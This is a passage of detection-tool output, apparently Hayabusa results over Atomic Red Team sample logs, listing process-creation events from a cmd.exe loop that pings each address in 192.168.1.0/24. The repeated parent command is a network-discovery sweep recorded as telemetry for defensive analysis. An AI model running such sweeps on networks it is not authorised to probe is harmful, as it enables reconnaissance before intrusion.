+09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.19 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:44.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.20 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:45.011 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.21 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:45.501 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.22 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:46.007 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.23 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:46.500 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.24 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:47.022 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.25 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:47.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.26 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:48.044 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.27 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:48.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.28 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:49.010 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.29 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:49.550 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.30 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:50.021 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.31 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:50.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.32 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:51.013 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.33 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:51.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.34 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:52.008 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.35 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:52.448 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.36 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:53.019 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.37 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:53.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.38 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:54.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.39 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:54.581 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.40 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:55.015 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.41 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:55.552 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.42 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:56.049 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.43 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:56.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.44 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:57.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.45 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:57.558 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.46 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:58.020 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.47 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:58.457 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.48 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:59.001 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.49 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:59.537 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.50 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:00.063 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.51 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:00.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.52 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:00.940 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.53 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:01.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.54 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:02.018 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.55 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:02.565 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.56 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:03.059 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.57 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:03.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.58 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:04.024 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.59 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:04.522 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.60 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:05.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.61 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:05.516 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.62 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:06.019 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.63 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:06.440 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.64 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:07.053 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.65 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:07.413 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.66 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:08.043 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.67 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:08.500 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.68 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:09.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.69 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:09.474 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.70 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:10.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.71 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:10.522 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.72 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:11.031 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.73 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:11.504 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.74 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 